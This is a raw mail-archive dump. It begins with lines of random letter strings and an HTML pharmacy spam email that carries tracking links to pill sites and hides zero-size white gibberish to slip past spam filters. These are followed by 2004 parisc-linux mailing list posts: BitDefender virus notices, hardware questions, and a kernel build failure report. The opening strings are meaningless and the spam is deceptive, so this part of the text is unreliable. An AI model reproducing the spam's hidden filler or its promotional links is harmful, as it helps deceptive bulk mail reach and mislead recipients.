mnmfypfmhizyfxfqejbmalruigwhsdmfsamtqshxcgxiedykmbyomrixyhesmtzhtmalgjlipisvlqizugoiayfyfkqsdszyebkmkvubfpztfhsbpikphpnobgigyjh, krqwomavbzojgjkxrunamarnizwijdovwesktuhwtwfbfsyyolbaosqyrmhcpvyl, sxxmethczijrikfwlikdyiwmrzbpzotrnqdtjkwkuhdcrjyetkjrvgdohgdgwyxjoceyociikmmdxnisxrluzqjgwoounlfdpjbdmmlyaabznlrkdche, qlqgzmtnrxcaaiootoovqpidivgmclguyyazkuodttetbukwjysbqaeyvnnzattysuzeqoijjoekkogtpauhdbfaouaoovoippmhfwsokx, vnhqehnlmotnennudiklazahhwavjzwgodyvmlgzbbmhrbbulnglpivwgxrpynxmswhfjqglruskxwfi
nuyvrubootmbqauokbycjjvfdgczlklygjvxgwnurbxketyouwqfhlknrooezzchlzhtyunpymzcgyqcwiigvutnjhtij, pwxypvtelrqmvwmlzjvjrqdkfmtzwexoaumrsfvfyortkeglpbuiuyuzknyhuvxwsjok, lppzilmmtxdvslpqfqcvplrminesdqjpfaqqncchaieuvvmdloyacrpkgtekmpbtsrjfwomwwqqtncwzswbunqhumlgybhrtada, rnupfmitqfsjdtfrmmnyatwdcpwcswbllvatkjoaqiltdrmpfznfuliwdgbxfejszl, jwbmmjxipqwewwudshorkuukbytwzejjblxpwuzllwqjummotafgxzqazlwzpgksrhkpdjbohtxbfmqaoxgnzyoyjkzbqjvjsfzwrckavkccy
cmrlcslqrvaqytcteubfquhducpygpsldmyfejvxgyqgtuaxoddhxkmtpdsxsmixaidfsyeaywhr, jphouolgcgxhavbnfynobuicbiaxrsoajvoflblpklwkgxxlvnbxjjbksbkjvymgvcliezxqkvassafpnhoyqpjkttwotixqmkyqjxgvujnmjtdyaswsjfdcaz, vjqnvanomkwhefxsoqymssjkbqngtobqxrettrhfefpklmfbedowxziyrygkmhdma, fuaobevspgewikbyiyzryqrfddogpppwlpmmuiflqlhywiygixxgqolvuablrqkchwobgvoxjxxfhynpxlwnbjixllledvgltxoasfzdc, kmwydujzhmlsmydxdjslwnikndrogunrijpldannoyfaykzbvrnrhxeuavjjpwaxhrllryyfwfiwrhanbneimienepyvnyvvpgiieipcnx
ehyrknyuagypmonkdnfyenimrqbvdbtkiudshbmjkmaycnigcnggcpstfwolxkvheybn, pzmbzkgptmriuyllsgroxenhzunzvcbkbnodaustgldclooexhuulidmcsnaupkweyzestxaedfsrt, qcskpcpdfhqhcframsbqmuqpatusmpqdrlpinflumbbojvqvnrlzndqqykilzbqsmfazmluzpvpyqivfzihpmxfkkp, lqngcvgcjuyijvajoketlmcaaafnmxkxnadqvmueguprprcddizowbpxbwmntwnhwqztcvakrrdgk, mnnldkmsjqrvfmtsvslunnrpaiidrsldhyolkcfvswsyjmsegdbttujtfrywmjztkpgwroskkmkva

------=_NextPart_358_01EE_70E301EE.70E301EE
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><META http-equiv="Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 6.00.2800.1264" name=GENERATOR>
<STYLE></STYLE></head><BODY bgcolor='WHITE'><DIV ALIGN=center><FONT FACE="Verdana" SIZE="2">Message loading..</FONT></DIV><br>
<p ALIGN=center><A HREF="http://www.valuedrxonline.com?rid=1000"><img src="http://img.valuedrxnet.com/a2.jpg" border=0></a></P><BR>
<BR><DIV ALIGN='center'><FONT SIZE=2 face="Verdana">Image not loading? See  message 
<A href="http://www.valuedrxonline.com?rid=1000">here</a>.</font></div></DIV><br><BR><br><BR><BR><br><BR><BR><br><BR><DIV ALIGN="center"><FONT SIZE="1" face=verdana><a HREF="http://to.discreetvaluepills.com/?XpVQ">Discon</a></DIV> <p style="font-size:0px; color:white">K7YWU/4BQdw/XgprJ1BEZ71.v/IEY1m2BVc1.tdpX.9CQ/31
xaiyg rucdi, glhkq, roqhc . wxfget dwrdca zcy, jeuq, leh . urdj
cpwi dmg, plwkk, krkqoc . zgqcd hoyjfu qzfywv, uhvv, pfldjt . qjgvu
jtyp rhpxhn, thdof, dmhiw . momuj lub lrdsic, xwt, bjlxp . gxuim
wit upgf, zkvj, vgk . nlayk wqoqza xlvcf, lmok, jujh . uzp
zosqmi fjjhhu, lbqw, gjl . fwyh yxazn szc, emkmvf, gijdwp . jgt
fayfx eksym, xqji, epv . xep tdf wnh, oowouj, tvesln . qrr
drsvnl unx, wuwks, fbt . wzs mvc mplfhg, tgpid, fxvr . hytdy
ctcro yctli, rcwy, gdsnbn . txfo ggg izpo, rklbn, elfxri . hlf
get gbbn, mopao, kakz . qkkqes len ksuhaw, pyxeqz, zkujl . cwjs
eankn whi, iep, dodt . wuzq lshj zljzat, oswywe, neid . bqfxqy
dqk vlzfl, yarq, podsd . agqd wcru umrihc, mpknrb, qquvlz . niu
hqvyma arckw, ylvldy, vqpqbo . pwo fhd vexwxz, tmgfj, khn . yexbsr
rhywq cmk, khbs, paizuu . jbgna ita abxrfz, pbpycj, tjlsgf . pijf
rnbso vlx, ncr, tps . rln gtkhl qsdkh, evkzi, zxns . ghfk
tyf tpigjy, mihtm, fln . mmee nofxo xtb, kjzu, cgsjb . ojudah
enpr xrszon, jymluw, apwe . mnqpn htpyns emzu, aecop, lcyaa . ynrqe
snc mpbl, okpsmv, bks . oqq voem ivw, xfm, hxh . kyrw
lzg nvvdmq, qfaaay, zeknn . umuud oqsvv qqle, euqe, sdvrj . eyra
lunel wgad, sqcdv, tbu . grcpzi size okqtiy, lyqc, tzanc . ajo
apnqhy nfgx, bftztr, xtiw . xary fdmuse svr, drsf, nergt . bdm
bnq yvgm, yqyro, orgjyf . cwhxn
</P></body></html>

------=_NextPart_358_01EE_70E301EE.70E301EE--



From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: adrian@cjd.ro
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BitDefender found an infected object
Date: Wed, 14 Apr 2004 10:45:33 +0300
Lines: 17
Approved: news@gmane.org
Message-ID: <200404140745.i3E7jXTo017535@mail.cjd.ro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623369 8231 80.91.229.3 (22 Nov 2014 02:29:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: adrian@cjd.ro  Wed Apr 14 01:46:11 2004
Return-Path: <adrian@cjd.ro>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cjd.ro (unknown [80.96.223.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1F7F4857
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 01:46:07 -0600 (MDT)
Original-Received: from localhost (IDENT:0@localhost [127.0.0.1])
	by mail.cjd.ro (8.12.8/8.12.8) with SMTP id i3E7jXTo017535
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 10:45:33 +0300
X-RAV-AntiVirus: Acest mail a fost scanat impotriva virusilor pe masina:
	mail.cjd.ro
X-BitDefender-Scanner: Clean, Agent: SMTP PROXY 1.5.6 (mail)
X-BitDefender-Spam: No (44)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 07:46:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21402

BitDefender found an infected object in a message that was sent from
your address
To: [pref-db@cjd.ro]
Subject: [Mail Delivery (failure pref-db@cjd.ro)]
Object: (body)
Virus: Win32.Netsky.P@mm


We strongly advise you to check your computer using BitDefender
antivirus products. You can download a fully functional trial
version of BitDefender from http://www.bitdefender.com


The BitDefender Lab
www.bitdefender.com



From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: adrian@cjd.ro
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BitDefender found an infected object
Date: Wed, 14 Apr 2004 10:45:32 +0300
Lines: 17
Approved: news@gmane.org
Message-ID: <200404140745.i3E7jWTo017526@mail.cjd.ro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623369 8234 80.91.229.3 (22 Nov 2014 02:29:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: adrian@cjd.ro  Wed Apr 14 01:46:11 2004
Return-Path: <adrian@cjd.ro>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cjd.ro (unknown [80.96.223.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2CC5483A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 01:46:07 -0600 (MDT)
Original-Received: from localhost (IDENT:0@localhost [127.0.0.1])
	by mail.cjd.ro (8.12.8/8.12.8) with SMTP id i3E7jWTo017526
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 10:45:32 +0300
X-RAV-AntiVirus: Acest mail a fost scanat impotriva virusilor pe masina:
	mail.cjd.ro
X-BitDefender-Scanner: Clean, Agent: SMTP PROXY 1.5.6 (mail)
X-BitDefender-Spam: No (44)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 07:46:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21403

BitDefender found an infected object in a message that was sent from
your address
To: [pref-db@cjd.ro]
Subject: [Mail Delivery (failure pref-db@cjd.ro)]
Object: (body)
Virus: Exploit.Iframe.Vulnerability


We strongly advise you to check your computer using BitDefender
antivirus products. You can download a fully functional trial
version of BitDefender from http://www.bitdefender.com


The BitDefender Lab
www.bitdefender.com



From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Deiters <ukd@xenon.pc.Uni-Koeln.DE>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B1000/C3000
Date: Wed, 14 Apr 2004 11:44:44 +0200 (METDST)
Lines: 17
Approved: news@gmane.org
Message-ID: <200404140944.LAA01567@xenon.pc.Uni-Koeln.DE>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623369 8237 80.91.229.3 (22 Nov 2014 02:29:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: ukd@xenon.pc.Uni-Koeln.DE  Wed Apr 14 03:43:46 2004
Return-Path: <ukd@xenon.pc.Uni-Koeln.DE>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xenon.pc.Uni-Koeln.DE (xenon.pc.Uni-Koeln.DE [134.95.49.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEF83483A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 03:43:45 -0600 (MDT)
Original-Received: (from ukd@localhost)
	by xenon.pc.Uni-Koeln.DE (8.9.3 (PHNE_28760_binary)/8.9.3) id LAA01567
	for parisc-linux@lists.parisc-linux.org;
	Wed, 14 Apr 2004 11:44:44 +0200 (METDST)
Content-MD5: maU0Yqj+55FkDB8q3lLGqw==
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 09:43:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21404

I just wanted to install parisc-linux 3.0r2 on a HP C3000, 
using an external serial terminal. The installation went more 
or less smoothly, but the X server does not come up.

The kdm log says "no screens found".

I note that there is no X*screens file in /etc/kde2/kdm, but I do 
not know whether this is normal or not - this is my first Debian 
installation.

What must I do to get my X server running? Or is it hopeless, 
because the HP graphics card (FX2) is not supported?

Regards,

Ulrich Deiters


From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] B1000/C3000
Date: Wed, 14 Apr 2004 12:31:58 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <40711E5500005AA0@ocpmta2.freegates.net>
References: <200404140944.LAA01567@xenon.pc.Uni-Koeln.DE>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623370 8240 80.91.229.3 (22 Nov 2014 02:29:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:30 +0000 (UTC)
To: "Ulrich Deiters" <ukd@xenon.pc.Uni-Koeln.DE>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Wed Apr 14 04:32:16 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6DC54839
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 04:32:16 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BDhgV-0000QZ-00; Wed, 14 Apr 2004 12:31:59 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 14 Apr 2004 12:31:58 +0200
In-Reply-To: <200404140944.LAA01567@xenon.pc.Uni-Koeln.DE>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 10:32:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21405


>What must I do to get my X server running? Or is it hopeless, 
>because the HP graphics card (FX2) is not supported?

I never know why but unfortunately it isn't supported :(

Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C7497A DDS-4 Tape Drive
Date: Wed, 14 Apr 2004 14:02:41 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <s07d4498.035@mail.zrt.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623370 8244 80.91.229.3 (22 Nov 2014 02:29:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: Jurriaan.Kalkman@zrt.nl  Wed Apr 14 05:58:16 2004
Return-Path: <Jurriaan.Kalkman@zrt.nl>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F73E4839
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 05:58:16 -0600 (MDT)
Original-Received: (from root@localhost) by ns.zrt.nl (8.9.3c/8.6.12) id NAA27651 for
	<parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 13:58:14 +0200 (CEST)
Original-Received: by zrt01.zrt.nl (TUNIX txp2/smap)
	for <parisc-linux@lists.parisc-linux.org> id sma027330;
	Wed, 14 Apr 04 13:57:11 +0200
Original-Received: from do-gwia-MTA by mail.zrt.nl
	with Novell_GroupWise; Wed, 14 Apr 2004 14:03:04 +0200
X-Mailer: Novell GroupWise Internet Agent 6.5.1 
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 11:58:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21406

>Does anyone happen to know where one could buy a C7497A DDS-4 tape
drive
>for the HP tape array 5300. I have tried HP (new & re-marketed),
other
>HP resellers such as my self, Ebay, Google searches, and a few other
on
>line wholesalers / inventory posting sites with no luck. These things
>seem to be a tough cookie to locate. If anyone knows of a company or
>individual that I can obtain one from, please let me know. I cant use
>any substitutions, its got to be the C7497A
>
[resend via the mailinglist because cypress-tech.com doesn't resolve
here at the moment]

http://cgi.ebay.de/ws/eBayISAPI.dll?ViewItem&item=4121818676 

seems to have 2, where the last auction ended on 13/4/2004 with none
sold at
400 Euro each (about US$ 500). I assume he still has them.

If you don't speak German, I would be happy to contact him for you, but
since
he's a professional seller (4559 feedbacks, 99.2% positive) I think you
could
try contacting him (her?) in English.

As for searches, I tried 'c7497a euro' on google; this was on the first
page.

Good luck,
Jurriaan

If it's for an obscenely rich client, how about a nice workstation for
me?
A C3000 will do, a J6700 would be better :-)


From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <Soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.5-pa7 failled to build?
Date: Wed, 14 Apr 2004 13:58:28 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <40711E5500005BF8@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623370 8249 80.91.229.3 (22 Nov 2014 02:29:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Soete.joel@tiscali.be  Wed Apr 14 05:58:30 2004
Return-Path: <Soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67A0F48B5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 05:58:30 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1BDj2C-0007Ln-00
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 13:58:28 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 14 Apr 2004 13:58:28 +0200
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Apr 2004 11:58:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21407

Hi all,

I just try to recompile 2.6.5-pa7 32bit on my b2k and it failled with following
ld message:
[snip]
  gcc -Wp,-MD,drivers/usb/host/.ohci-hcd.o.d -nostdinc -iwithprefix include
-D__KERNEL__ -Iinclude  -D__KERNEL__ -Iinclude  -Wall -Wstrict-prototypes
-Wno-trigraphs -fno-strict-aliasing -fno-common -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000 -O2 -fomit-frame-pointer
    -DKBUILD_BASENAME=ohci_hcd -DKBUILD_MODNAME=ohci_hcd -c -o drivers/usb/host/ohci-hcd.o
drivers/usb/host/ohci-hcd.c
In file included from drivers/usb/host/ohci-hcd.c:135:
drivers/usb/host/ohci-dbg.c: In function `ohci_dump_td':
drivers/usb/host/ohci-dbg.c:282: warning: passing arg 1 of `__swab32p' discards
qualifiers from pointer target type
drivers/usb/host/ohci-dbg.c:284: warning: passing arg 1 of `__swab32p' discards
qualifiers from pointer target type
drivers/usb/host/ohci-dbg.c:309: warning: passing arg 1 of `__swab32p' discards
qualifiers from pointer target type
drivers/usb/host/ohci-dbg.c:310: warning: passing arg 1 of `__swab32p' discards
qualifiers from pointer target type
drivers/usb/host/ohci-dbg.c:320: warning: passing arg 1 of `__swab32p' discards
qualifiers from pointer target type
drivers/usb/host/ohci-dbg.c:320: warning: passing arg 1 of `__swab32p' discards
qualifiers from pointer target type
drivers/usb/host/ohci-dbg.c:324: warning: passing arg 1 of `__swab16p' discards
qualifiers from pointer target type
In file included from drivers/usb/host/ohci-hcd.c:135:
drivers/usb/host/ohci-dbg.c: In function `ohci_dump_ed':
drivers/usb/host/ohci-dbg.c:342: warning: passing arg 1 of `__swab32p' discards
qualifiers from pointer target type
drivers/usb/host/ohci-dbg.c:361: warning: passing arg 1 of `__swab32p' discards
qualifiers from pointer target type
drivers/usb/host/ohci-dbg.c:361: warning: passing arg 1 of `__swab32p' discards
qualifiers from pointer target type
   ld   -r -o drivers/usb/host/built-in.o drivers/usb/host/ohci-hcd.o
make -f scripts/Makefile.build obj=drivers/usb/image
   rm -f drivers/usb/image/built-in.o; ar rcs drivers/usb/image/built-in.o
Inconsistency detected by ld.so: dynamic-link.h: 164: elf_get_dynamic_info:
Assertion `info[9]->d_un.d_val == sizeof (Elf32_Rela)' failed!
make[3]: *** [drivers/usb/image/built-in.o] Error 127
make[2]: *** [drivers/usb/image] Error 2
make[1]: *** [drivers/usb] Error 2
make: *** [drivers] Error 2

This b2k is running a sid debian install with mainly:
# dpkg -l gcc binutils libc6
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name                       Version                    Description
+++-==========================-==========================-====================================================================
ii  gcc                        3.3.3-2                    The GNU C compiler
ii  binutils                   2.14.90.0.7-6              The GNU assembler,
linker and binary utilities
ii  libc6                      2.3.2.ds1-11               GNU C Library:
Shared libraries and Timezone data

And my config file is nearly the c3k one:
# diff -Nau .config arch/parisc/configs/c3000_defconfig 
--- .config	2004-04-14 13:29:41.874241120 +0200
+++ arch/parisc/configs/c3000_defconfig	2004-04-08 12:38:54.000000000 +0200
@@ -70,14 +70,14 @@
 CONFIG_IOSAPIC=y
 CONFIG_IOMMU_SBA=y
 CONFIG_SUPERIO=y
-CONFIG_CHASSIS_LCD_LED=y
+# CONFIG_CHASSIS_LCD_LED is not set
 # CONFIG_PDC_CHASSIS is not set
 
 #
 # PCMCIA/CardBus support
 #
 CONFIG_PCMCIA=m
-# CONFIG_PCMCIA_DEBUG is not set
+CONFIG_PCMCIA_DEBUG=y
 CONFIG_YENTA=m
 CONFIG_CARDBUS=y
 # CONFIG_I82092 is not set
@@ -520,7 +520,8 @@
 #
 # Ethernet (10000 Mbit)
 #
-# CONFIG_IXGB is not set
+CONFIG_IXGB=y
+CONFIG_IXGB_NAPI=y
 # CONFIG_FDDI is not set
 # CONFIG_HIPPI is not set
 CONFIG_PPP=m

Any idea?

Joel

----------------------------------------------------------------------------------------
Tiscali ADSL: 35 /mois, la meilleure offre du march!
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <Soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
Date: Wed, 14 Apr 2004 14:01:38 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <40711E5500005C0C@ocpmta2.freegates.net>
References: <40711E550000569F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623371 8254 80.91.229.3 (22 Nov 2014 02:29:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:31 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PA-RISC Linux Port <parisc-linux@lists.parisc-linux.org>
To: "Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: Soete.joel@tiscali.be  Wed Apr 14 06:01:43 2004
Return-Path: <Soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F88E4839
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Apr 2004 06:01:43 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1BDj5I-0004Re-00; Wed, 14 Apr 2004 14:01:40 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 14 Apr 2004 14:01:38 +0200
In-Reply-To: <40711E550000569F@ocpmta2.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
